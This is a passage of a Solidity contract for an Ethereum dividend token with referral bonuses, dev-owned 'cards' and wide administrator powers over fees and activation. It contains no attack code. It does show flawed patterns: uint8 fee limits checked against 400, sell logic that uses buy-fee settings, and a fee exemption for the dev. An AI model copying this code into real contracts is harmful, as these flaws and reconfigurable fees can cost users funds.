ambassadors_[0x79562dcCFAad8871E2eC1C37172Cb1ce969b04Fd] = true;
ambassadors_[0x41fe3738b503cbafd01c1fd8dd66b7fe6ec11b01] = true;
ambassadors_[0x96762288ebb2560a19f8eadaaa2012504f64278b] = true;
ambassadors_[0xc29a6dd21801e58566df9f003b7011e30724543e] = true;
ambassadors_[0xc63ea85cc823c440319013d4b30e19b66466642d] = true;
ambassadors_[0xc6f827796a2e1937fd7f97c4e0a4906c476794f6] = true;
ambassadors_[0xe74b1ea522b9d558c8e8719c3b1c4a9050b531ca] = true;
ambassadors_[0x6b90d498062140c607d03fd642377eeaa325703e] = true;
ambassadors_[0x5f1088110edcba27fc206cdcc326b413b5867361] = true;
ambassadors_[0xc92fd0e554b12eb10f584819eec2394a9a6f3d1d] = true;
ambassadors_[0xb62a0ac2338c227748e3ce16d137c6282c9870cf] = true;
ambassadors_[0x3f6c42409da6faf117095131168949ab81d5947d] = true;
ambassadors_[0xd54c47b3165508fb5418dbdec59a0d2448eeb3d7] = true;
ambassadors_[0x285d366834afaa8628226e65913e0dd1aa26b1f8] = true;
ambassadors_[0x285d366834afaa8628226e65913e0dd1aa26b1f8] = true;
ambassadors_[0x5f5996f9e1960655d6fc00b945fef90672370d9f] = true;
ambassadors_[0x3825c8ba07166f34ce9a2cd1e08a68b105c82cb9] = true;
ambassadors_[0x7f3e05b4f258e1c15a0ef49894cffa1d89ceb9d3] = true;
ambassadors_[0x3191acf877495e5f4e619ec722f6f38839182660] = true;
ambassadors_[0x14f981ec7b0f59df6e1c56502e272298f221d763] = true;
ambassadors_[0xae817ec70d8b621bb58a047e63c31445f79e20dc] = true;
ambassadors_[0xc43af3becac9c810384b69cf061f2d7ec73105c4] = true;
ambassadors_[0x0743469569ed5cc44a51216a1bf5ad7e7f90f40e] = true;
ambassadors_[0xff6a4d0ed374ba955048664d6ef5448c6cd1d56a] = true;
ambassadors_[0x62358a483311b3de29ae987b990e19de6259fa9c] = true;
ambassadors_[0xa0fea1bcfa32713afdb73b9908f6cb055022e95f] = true;
ambassadors_[0xb2af816608e1a4d0fb12b81028f32bac76256eba] = true;
ambassadors_[0x977193d601b364f38ab1a832dbaef69ca7833992] = true;
ambassadors_[0xed3547f0ed028361685b39cd139aa841df6629ab] = true;
ambassadors_[0xe40ff298079493cba637d92089e3d1db403974cb] = true;
ambassadors_[0xae3dc7fa07f9dd030fa56c027e90998ed9fe9d61] = true;
ambassadors_[0x2dd35e7a6f5fcc28d146c04be641f969f6d1e403] = true;
ambassadors_[0x2afe21ec5114339922d38546a3be7a0b871d3a0d] = true;
ambassadors_[0x6696fee394bb224d0154ea6b58737dca827e1960] = true;
ambassadors_[0xccdf159b1340a35c3567b669c836a88070051314] = true;
ambassadors_[0x1c3416a34c86f9ddcd05c7828bf5693308d19e0b] = true;
ambassadors_[0x846dedb19b105edafac2c9410fa2b5e73b596a14] = true;
ambassadors_[0x3e9294f9b01bc0bcb91413112c75c3225c65d0b3] = true;
ambassadors_[0x3a5ce61c74343dde474bad4210cccf1dac7b1934] = true;
ambassadors_[0x38e123f89a7576b2942010ad1f468cc0ea8f9f4b] = true;
ambassadors_[0xdcd8bad894035b5c554ad450ca84ae6be0b73122] = true;
ambassadors_[0xcfab320d4379a84fe3736eccf56b09916e35097b] = true;
ambassadors_[0x12f53c1d7caea0b41010a0e53d89c801ed579b5a] = true;
ambassadors_[0x5145a296e1bb9d4cf468d6d97d7b6d15700f39ef] = true;
ambassadors_[0xac707a1b4396a309f4ad01e3da4be607bbf14089] = true;
ambassadors_[0x38602d1446fe063444b04c3ca5ecde0cba104240] = true;
ambassadors_[0xc951d3463ebba4e9ec8ddfe1f42bc5895c46ec8f] = true;
ambassadors_[0x69e566a65d00ad5987359db9b3ced7e1cfe9ac69] = true;
ambassadors_[0x533b14f6d04ed3c63a68d5e80b7b1f6204fb4213] = true;
ambassadors_[0x5fa0b03bee5b4e6643a1762df718c0a4a7c1842f] = true;
ambassadors_[0xb74d5f0a81ce99ac1857133e489bc2b4954935ff] = true;
ambassadors_[0xc371117e0adfafe2a3b7b6ba71b7c0352ca7789d] = true;
ambassadors_[0xcade49e583bc226f19894458f8e2051289f1ac85] = true;
ambassadors_[0xe3fc95aba6655619db88b523ab487d5273db484f] = true;
ambassadors_[0x22e4d1433377a2a18452e74fd4ba9eea01824f7d] = true;
ambassadors_[0x32ae5eff81881a9a70fcacada5bb1925cabca508] = true;
ambassadors_[0xb864d177c291368b52a63a95eeff36e3731303c1] = true;
ambassadors_[0x46091f77b224576e224796de5c50e8120ad7d764] = true;
ambassadors_[0xc6407dd687a179aa11781b8a1e416bd0515923c2] = true;
ambassadors_[0x2502ce06dcb61ddf5136171768dfc08d41db0a75] = true;
ambassadors_[0x6b80ca9c66cdcecc39893993df117082cc32bb16] = true;
ambassadors_[0xa511ddba25ffd74f19a400fa581a15b5044855ce] = true;
ambassadors_[0xce81d90ae52d34588a95db59b89948c8fec487ce] = true;
ambassadors_[0x6d60dbf559bbf0969002f19979cad909c2644dad] = true;
ambassadors_[0x45101255a2bcad3175e6fda4020a9b77e6353a9a] = true;
ambassadors_[0xe9078d7539e5eac3b47801a6ecea8a9ec8f59375] = true;
ambassadors_[0x41a21b264f9ebf6cf571d4543a5b3ab1c6bed98c] = true;
ambassadors_[0x471e8d970c30e61403186b6f245364ae790d14c3] = true;
ambassadors_[0x6eb7f74ff7f57f7ba45ca71712bccef0588d8f0d] = true;
ambassadors_[0xe6d6bc079d76dc70fcec5de84721c7b0074d164b] = true;
ambassadors_[0x3ec5972c2177a08fd5e5f606f19ab262d28ceffe] = true;
ambassadors_[0x108b87a18877104e07bd870af70dfc2487447262] = true;
ambassadors_[0x3129354440e4639d2b809ca03d4ccc6277ac8167] = true;
ambassadors_[0x21572b6a855ee8b1392ed1003ecf3474fa83de3e] = true;
ambassadors_[0x75ab98f33a7a60c4953cb907747b498e0ee8edf7] = true;
ambassadors_[0x0fe6967f9a5bb235fc74a63e3f3fc5853c55c083] = true;
ambassadors_[0x49545640b9f3266d13cce842b298d450c0f8d776] = true;
ambassadors_[0x9327128ead2495f60d41d3933825ffd8080d4d42] = true;
ambassadors_[0x82b4e53a7d6bf6c72cc57f8d70dae90a34f0870f] = true;
ambassadors_[0xb74d5f0a81ce99ac1857133e489bc2b4954935ff] = true;
ambassadors_[0x3749d556c167dd73d536a6faaf0bb4ace8f7dab9] = true;
ambassadors_[0x3039f6857071692b540d9e1e759a0add93af3fed] = true;
ambassadors_[0xb74d5f0a81ce99ac1857133e489bc2b4954935ff] = true;
nextAvailableCard = 13;
cardOwner[1] = dev;
cardPrice[1] = 5 ether;
basePrice[1] = cardPrice[1];
cardPreviousPrice[1] = 0;
cardOwner[2] = dev;
cardPrice[2] = 4 ether;
basePrice[2] = cardPrice[2];
cardPreviousPrice[2] = 0;
cardOwner[3] = dev;
cardPrice[3] = 3 ether;
basePrice[3] = cardPrice[3];
cardPreviousPrice[3] = 0;
cardOwner[4] = dev;
cardPrice[4] = 2 ether;
basePrice[4] = cardPrice[4];
cardPreviousPrice[4] = 0;
cardOwner[5] = dev;
cardPrice[5] = 1.5 ether;
basePrice[5] = cardPrice[5];
cardPreviousPrice[5] = 0;
cardOwner[6] = dev;
cardPrice[6] = 1 ether;
basePrice[6] = cardPrice[6];
cardPreviousPrice[6] = 0;
cardOwner[7] = dev;
cardPrice[7] = 0.9 ether;
basePrice[7] = cardPrice[7];
cardPreviousPrice[7] = 0;
cardOwner[8] = dev;
cardPrice[8] = 0.7 ether;
basePrice[8] = cardPrice[8];
cardPreviousPrice[8] = 0;
cardOwner[9] = 0xAe3dC7FA07F9dD030fa56C027E90998eD9Fe9D61;
cardPrice[9] = 0.5 ether;
basePrice[9] = cardPrice[9];
cardPreviousPrice[9] = 0;
cardOwner[10] = dev;
cardPrice[10] = 0.4 ether;
basePrice[10] = cardPrice[10];
cardPreviousPrice[10] = 0;
cardOwner[11] = dev;
cardPrice[11] = 0.2 ether;
basePrice[11] = cardPrice[11];
cardPreviousPrice[11] = 0;
cardOwner[12] = dev;
cardPrice[12] = 0.1 ether;
basePrice[12] = cardPrice[12];
cardPreviousPrice[12] = 0;
getTotalCardValue();
}
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
function reinvest()
onlyStronghands()
public
{
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress] + ownerAccounts[_customerAddress];
referralBalance_[_customerAddress] = 0;
ownerAccounts[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
onReinvestment(_customerAddress, _dividends, _tokens);
checkHalfLife();
}
function exit()
public
{
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
withdraw();
checkHalfLife();
}
function withdraw()
onlyStronghands()
public
{
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress] + ownerAccounts[_customerAddress];
referralBalance_[_customerAddress] = 0;
ownerAccounts[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
onWithdraw(_customerAddress, _dividends);
checkHalfLife();
}
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
uint8 localDivFee = 200;
lastHour = getHour(block.timestamp);
if (getHour(block.timestamp) == alertTime1 || getHour(block.timestamp) == alertTime2 || getHour(block.timestamp) == alertTime3){
boolAlertStatus = true;
localDivFee = dividendFeeBuyAlert_;
}else{
boolAlertStatus = false;
localDivFee = dividendFeeBuyClear_;
}
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, localDivFee),1000);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
checkHalfLife();
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
address _customerAddress = msg.sender;
uint8 localDivFee = 200;
lastHour = getHour(block.timestamp);
if (getHour(block.timestamp) == alertTime1 || getHour(block.timestamp) == alertTime2 || getHour(block.timestamp) == alertTime3){
boolAlertStatus = true;
localDivFee = dividendFeeBuyAlert_;
}else{
boolAlertStatus = false;
localDivFee = dividendFeeBuyClear_;
}
if (msg.sender == dev){
localDivFee = 0;
}
require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if(myDividends(true) > 0) withdraw();
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, localDivFee),1000);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
Transfer(_customerAddress, _toAddress, _taxedTokens);
checkHalfLife();
return true;
}
function disableInitialStage()
onlyAdministrator()
public
{
onlyAmbassadors = false;
}
function setAdministrator(address _identifier, bool _status)
onlyAdministrator()
public
{
administrators[_identifier] = _status;
}
function setAllowHalfLife(bool _allow)
onlyAdministrator()
public
{
allowHalfLife = _allow;
}
function setAllowReferral(bool _allow)
onlyAdministrator()
public
{
allowReferral = _allow;
}
function setFeeRates(uint8 _newDivRate, uint8 _yieldDivFee, uint8 _newCardFee)
onlyAdministrator()
public
{
require(_newDivRate <= 250);
require(_yieldDivFee <= 50);
require(_newCardFee <= 50);
dividendFee_ = _newDivRate;
yieldDividendFeeRate_ = _yieldDivFee;
cardInsuranceFeeRate_ = _newCardFee;
}
function setExchangeRates(uint8 _newBuyAlert, uint8 _newBuyClear, uint8 _newSellAlert, uint8 _newSellClear)
onlyAdministrator()
public
{
require(_newBuyAlert <= 400);
require(_newBuyClear <= 400);
require(_newSellAlert <= 400);
require(_newSellClear <= 400);
dividendFeeBuyClear_ = _newBuyClear;
dividendFeeSellClear_ = _newSellClear;
dividendFeeBuyAlert_ = _newBuyAlert;
dividendFeeSellAlert_ = _newSellAlert;
}
function setInsurancePayout(uint8 _newRate)
onlyAdministrator()
public
{
require(_newRate <= 200);
insurancePayoutRate = _newRate;
}
function setAlertTimes(uint _newAlert1, uint _newAlert2, uint _newAlert3)
onlyAdministrator()
public
{
alertTime1 = _newAlert1;
alertTime2 = _newAlert2;
alertTime3 = _newAlert3;
}
function setHalfLifePeriods(uint _alert, uint _clear)
onlyAdministrator()
public
{
halfLifeAlert = _alert;
halfLifeClear = _clear;
}
function setContractActive(bool _status)
onlyAdministrator()
public
{
boolContractActive = _status;
}
function setCardActive(bool _status)
onlyAdministrator()
public
{
boolCardActive = _status;
}
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
stakingRequirement = _amountOfTokens;
}
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
function setMaxCards(uint _card)
onlyAdministrator()
public
{
maxCards = _card;
}
function setHalfLifeTime(uint _time)
onlyAdministrator()
public
{
halfLifeTime = _time;
}
function setHalfLifeRate(uint _rate)
onlyAdministrator()
public
{
halfLifeRate = _rate;
}
function addNewCard(uint _price)
onlyAdministrator()
public
{
require(nextAvailableCard < maxCards);
cardPrice[nextAvailableCard] = _price;
basePrice[nextAvailableCard] = cardPrice[nextAvailableCard];
cardOwner[nextAvailableCard] = dev;
totalCardDivs[nextAvailableCard] = 0;
cardPreviousPrice[nextAvailableCard] = 0;
nextAvailableCard = nextAvailableCard + 1;
getTotalCardValue();
}
function addAmbassador(address _newAmbassador)
onlyAdministrator()
public
{
ambassadors_[_newAmbassador] = true;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return this.balance;
}
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function myCardDividends()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return ownerAccounts[_customerAddress];
}
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_ ),1000);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_ ),1000);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, dividendFee_ ),1000);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_ ),1000);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function getTotalCardValue()
internal
view
{
uint counter = 1;
uint _totalVal = 0;
while (counter < nextAvailableCard) {
_totalVal = SafeMath.add(_totalVal,cardPrice[counter]);
counter = counter + 1;
}
totalCardValue = _totalVal;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
antiEarlyWhale(_incomingEthereum)
onlyActive()
internal
returns(uint256)
{
uint8 localDivFee = 200;
lastHour = getHour(block.timestamp);
if (getHour(block.timestamp) == alertTime1 || getHour(block.timestamp) == alertTime2 || getHour(block.timestamp) == alertTime3){
boolAlertStatus = true;
localDivFee = dividendFeeBuyAlert_;
}else{
boolAlertStatus = false;
localDivFee = dividendFeeBuyClear_;
}
cardInsuranceAccount = SafeMath.add(cardInsuranceAccount, SafeMath.div(SafeMath.mul(_incomingEthereum, cardInsuranceFeeRate_), 1000));
distributeYield(SafeMath.div(SafeMath.mul(_incomingEthereum,yieldDividendFeeRate_),1000));
_incomingEthereum = SafeMath.sub(_incomingEthereum,SafeMath.div(SafeMath.mul(_incomingEthereum, cardInsuranceFeeRate_ + yieldDividendFeeRate_), 1000));
uint256 _referralBonus = SafeMath.div(SafeMath.div(SafeMath.mul(_incomingEthereum, localDivFee ),1000), 3);
uint256 _dividends = SafeMath.sub(SafeMath.div(SafeMath.mul(_incomingEthereum, localDivFee ),1000), _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, SafeMath.div(SafeMath.mul(_incomingEthereum, localDivFee),1000));
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != msg.sender &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement
){
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if(tokenSupply_ > 0){
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[msg.sender] = SafeMath.add(tokenBalanceLedger_[msg.sender], _amountOfTokens);
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[msg.sender] += _updatedPayouts;
distributeInsurance();
checkHalfLife();
onTokenPurchase(msg.sender, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
function buyCard(uint _card, address _referrer)
public
payable
onlyCardActive()
{
require(_card <= nextAvailableCard);
require(_card > 0);
require(msg.value >= cardPrice[_card]);
cardBlockNumber[_card] = block.number;
uint _baseDividends = msg.value - cardPreviousPrice[_card];
totalDivsProduced = SafeMath.add(totalDivsProduced, _baseDividends);
uint _ownerDividends = SafeMath.div(SafeMath.mul(_baseDividends,ownerDivRate),1000);
_ownerDividends = SafeMath.add(_ownerDividends,cardPreviousPrice[_card]);
uint _insuranceDividends = SafeMath.div(SafeMath.mul(_baseDividends,insuranceDivRate),1000);
uint _exchangeDivs = SafeMath.div(SafeMath.mul(_baseDividends, yieldDivRate),1000);
profitPerShare_ += (_exchangeDivs * magnitude / (tokenSupply_));
totalCardDivs[_card] = SafeMath.add(totalCardDivs[_card],_ownerDividends);
cardInsuranceAccount = SafeMath.add(cardInsuranceAccount, _insuranceDividends);
uint _distDividends = SafeMath.div(SafeMath.mul(_baseDividends,distDivRate),1000);
if (allowReferral && (_referrer != msg.sender) && (_referrer != 0x0000000000000000000000000000000000000000)) {
uint _referralDividends = SafeMath.div(SafeMath.mul(_baseDividends,referralRate),1000);
_distDividends = SafeMath.sub(_distDividends,_referralDividends);
ownerAccounts[_referrer] = SafeMath.add(ownerAccounts[_referrer],_referralDividends);
}
distributeYield(_distDividends);
address _previousOwner = cardOwner[_card];
address _newOwner = msg.sender;
ownerAccounts[_previousOwner] = SafeMath.add(ownerAccounts[_previousOwner],_ownerDividends);
ownerAccounts[dev] = SafeMath.add(ownerAccounts[dev],SafeMath.div(SafeMath.mul(_baseDividends,devDivRate),1000));
cardOwner[_card] = _newOwner;
cardPreviousPrice[_card] = msg.value;
cardPrice[_card] = SafeMath.div(SafeMath.mul(msg.value,cardPriceIncrement),1000);
getTotalCardValue();
distributeInsurance();
checkHalfLife();
emit onCardBuy(msg.sender, msg.value, _card, SafeMath.div(SafeMath.mul(msg.value,cardPriceIncrement),1000), halfLifeTime + block.number);
}
function distributeInsurance() internal
{
uint counter = 1;
uint _cardDistAmount = cardInsuranceAccount;
cardInsuranceAccount = 0;
uint tempInsurance = 0;
while (counter < nextAvailableCard) {
uint _distAmountLocal = SafeMath.div(SafeMath.mul(_cardDistAmount, cardPrice[counter]),totalCardValue);
cardInsurance[counter] = SafeMath.add(cardInsurance[counter], _distAmountLocal);
tempInsurance = tempInsurance + cardInsurance[counter];
emit onInsuranceChange(0x0, counter, cardInsurance[counter]);
counter = counter + 1;
}
totalCardInsurance = tempInsurance;
}
function distributeYield(uint _distDividends) internal
{
uint counter = 1;
uint currentBlock = block.number;
uint insurancePayout = 0;
while (counter < nextAvailableCard) {
uint _distAmountLocal = SafeMath.div(SafeMath.mul(_distDividends, cardPrice[counter]),totalCardValue);
ownerAccounts[cardOwner[counter]] = SafeMath.add(ownerAccounts[cardOwner[counter]],_distAmountLocal);
totalCardDivs[counter] = SafeMath.add(totalCardDivs[counter],_distAmountLocal);
counter = counter + 1;
}
getTotalCardValue();
checkHalfLife();
}
function extCheckHalfLife()
public
{
bool _boolDev = (msg.sender == dev);
if (_boolDev || boolAllowPlayer){
checkHalfLife();
}
}
function checkHalfLife()
internal
{
uint localHalfLifeTime = 120;
lastHour = getHour(block.timestamp);
if (getHour(block.timestamp) == alertTime1 || getHour(block.timestamp) == alertTime2 || getHour(block.timestamp) == alertTime3){
boolAlertStatus = true;
localHalfLifeTime = halfLifeAlert;
}else{
boolAlertStatus = false;
localHalfLifeTime = halfLifeClear;
}
uint counter = 1;
uint currentBlock = block.number;
uint insurancePayout = 0;
uint tempInsurance = 0;
while (counter < nextAvailableCard) {
if (allowHalfLife) {
if (cardPrice[counter] > basePrice[counter]) {
uint _life = SafeMath.sub(currentBlock, cardBlockNumber[counter]);
if (_life > localHalfLifeTime) {
cardBlockNumber[counter] = currentBlock;
if (SafeMath.div(SafeMath.mul(cardPrice[counter], halfLifeRate),1000) < basePrice[counter]){
cardPrice[counter] = basePrice[counter];
insurancePayout = SafeMath.div(SafeMath.mul(cardInsurance[counter],insurancePayoutRate),1000);
cardInsurance[counter] = SafeMath.sub(cardInsurance[counter],insurancePayout);
ownerAccounts[cardOwner[counter]] = SafeMath.add(ownerAccounts[cardOwner[counter]], insurancePayout);
cardPreviousPrice[counter] = SafeMath.div(SafeMath.mul(cardPrice[counter],halfLifeReductionRate),1000);
}else{
cardPrice[counter] = SafeMath.div(SafeMath.mul(cardPrice[counter], halfLifeRate),1000);
cardPreviousPrice[counter] = SafeMath.div(SafeMath.mul(cardPreviousPrice[counter],halfLifeReductionRate),1000);
insurancePayout = SafeMath.div(SafeMath.mul(cardInsurance[counter],insurancePayoutRate),1000);
cardInsurance[counter] = SafeMath.sub(cardInsurance[counter],insurancePayout);
ownerAccounts[cardOwner[counter]] = SafeMath.add(ownerAccounts[cardOwner[counter]], insurancePayout);
}
emit onInsuranceChange(0x0, counter, cardInsurance[counter]);
emit Halflife(cardOwner[counter], counter, cardPrice[counter], localHalfLifeTime + block.number, insurancePayout, cardInsurance[counter]);
}
}
}
tempInsurance = tempInsurance + cardInsurance[counter];
counter = counter + 1;
}
totalCardInsurance = tempInsurance;
getTotalCardValue();
}
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
)/(tokenPriceIncremental_)
)-(tokenSupply_)
;
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
SafeMath.sub(
(
(
(
tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18))
)-tokenPriceIncremental_
)*(tokens_ - 1e18)
),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2
)
/1e18);
return _etherReceived;
}
function getCardPrice(uint _card)
public
view
returns(uint)
{
require(_card <= nextAvailableCard);
return cardPrice[_card];
}
function getCardInsurance(uint _card)
public
view
returns(uint)
{
require(_card <= nextAvailableCard);
return cardInsurance[_card];
}
function getCardOwner(uint _card)
public
view
returns(address)
{
require(_card <= nextAvailableCard);
return cardOwner[_card];
}
function gettotalCardDivs(uint _card)
public
view
returns(uint)
{
require(_card <= nextAvailableCard);
return totalCardDivs[_card];
}
function getTotalDivsProduced()
public
view
returns(uint)
{
return totalDivsProduced;
}
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
function isLeapYear(uint16 year) constant returns (bool) {
if (year % 4 != 0) {
return false;
}
if (year % 100 != 0) {
return true;
}
if (year % 400 != 0) {
return false;
}
return true;
}
function parseTimestamp(uint timestamp) internal returns (DateTime dt) {
uint secondsAccountedFor = 0;
uint buf;
uint8 i;
dt.year = ORIGIN_YEAR;
while (true) {
if (isLeapYear(dt.year)) {
buf = LEAP_YEAR_IN_SECONDS;
}
else {
buf = YEAR_IN_SECONDS;
}
if (secondsAccountedFor + buf > timestamp) {
break;
}
dt.year += 1;
secondsAccountedFor += buf;
}
uint8[12] monthDayCounts;
monthDayCounts[0] = 31;
if (isLeapYear(dt.year)) {
monthDayCounts[1] = 29;
}
else {
monthDayCounts[1] = 28;
}
monthDayCounts[2] = 31;
monthDayCounts[3] = 30;
monthDayCounts[4] = 31;
monthDayCounts[5] = 30;
monthDayCounts[6] = 31;
monthDayCounts[7] = 31;
monthDayCounts[8] = 30;
monthDayCounts[9] = 31;
monthDayCounts[10] = 30;
monthDayCounts[11] = 31;
uint secondsInMonth;
for (i = 0; i < monthDayCounts.length; i++) {
secondsInMonth = DAY_IN_SECONDS * monthDayCounts[i];
if (secondsInMonth + secondsAccountedFor > timestamp) {
dt.month = i + 1;
break;
}
secondsAccountedFor += secondsInMonth;
}
for (i = 0; i < monthDayCounts[dt.month - 1]; i++) {
if (DAY_IN_SECONDS + secondsAccountedFor > timestamp) {
dt.day = i + 1;
break;
}
secondsAccountedFor += DAY_IN_SECONDS;
}
for (i = 0; i < 24; i++) {
if (HOUR_IN_SECONDS + secondsAccountedFor > timestamp) {
dt.hour = i;
break;
}
secondsAccountedFor += HOUR_IN_SECONDS;
}
for (i = 0; i < 60; i++) {
if (MINUTE_IN_SECONDS + secondsAccountedFor > timestamp) {
dt.minute = i;
break;
}
secondsAccountedFor += MINUTE_IN_SECONDS;
}
if (timestamp - secondsAccountedFor > 60) {
__throw();
}
dt.second = uint8(timestamp - secondsAccountedFor);
buf = timestamp / DAY_IN_SECONDS;
dt.weekday = uint8((buf + 3) % 7);
}
function getYear(uint timestamp) constant returns (uint16) {
return parseTimestamp(timestamp).year;
}
function getMonth(uint timestamp) constant returns (uint16) {
return parseTimestamp(timestamp).month;
}
function getDay(uint timestamp) constant returns (uint16) {
return parseTimestamp(timestamp).day;
}
function getHour(uint timestamp) constant returns (uint16) {
return parseTimestamp(timestamp).hour;
}
function getMinute(uint timestamp) constant returns (uint16) {
return parseTimestamp(timestamp).minute;
}
function getSecond(uint timestamp) constant returns (uint16) {
return parseTimestamp(timestamp).second;
}
function getWeekday(uint timestamp) constant returns (uint8) {
return parseTimestamp(timestamp).weekday;
}
function toTimestamp(uint16 year, uint8 month, uint8 day) constant returns (uint timestamp) {
return toTimestamp(year, month, day, 0, 0, 0);
}
function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour) constant returns (uint timestamp) {
return toTimestamp(year, month, day, hour, 0, 0);
}
